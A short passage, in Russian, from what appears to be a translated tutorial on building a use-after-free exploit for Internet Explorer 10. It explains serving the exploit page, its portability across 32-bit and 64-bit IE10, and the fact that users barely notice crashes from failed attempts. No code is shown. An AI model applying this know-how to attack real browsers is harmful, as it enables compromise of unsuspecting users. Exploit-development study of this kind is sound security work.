Как обычно, я убрал часть runcalc. Вы можете загрузить весь код отсюда: code4.

Загрузите страницу в IE через SimpleServer и все должно сработать как надо! Этот эксплойт обладает отличной переносимостью. По факту, когда IE падает, потому что что-то не так с багом UAF, IE перегружает страницу. Пользователь видит, что что-то случилось, но не придает этому значения. Действительные падения браузера случаются редко.

Internet Explorer 10 32-bit and 64-bit

Есть две версии IE10 - 32-битная и 64-битная. Этот эксплойт работает на обеих, т.к. если модуль iexplore.exe, связанный с главным окном, отличается (может быть и 32-битным и 64-битным), модуль iexplore.exe, связанный со вкладками является 32-битным в обоих случаях. Вы можете проверить это через Windows Task Manager.

Перевод: dreamseller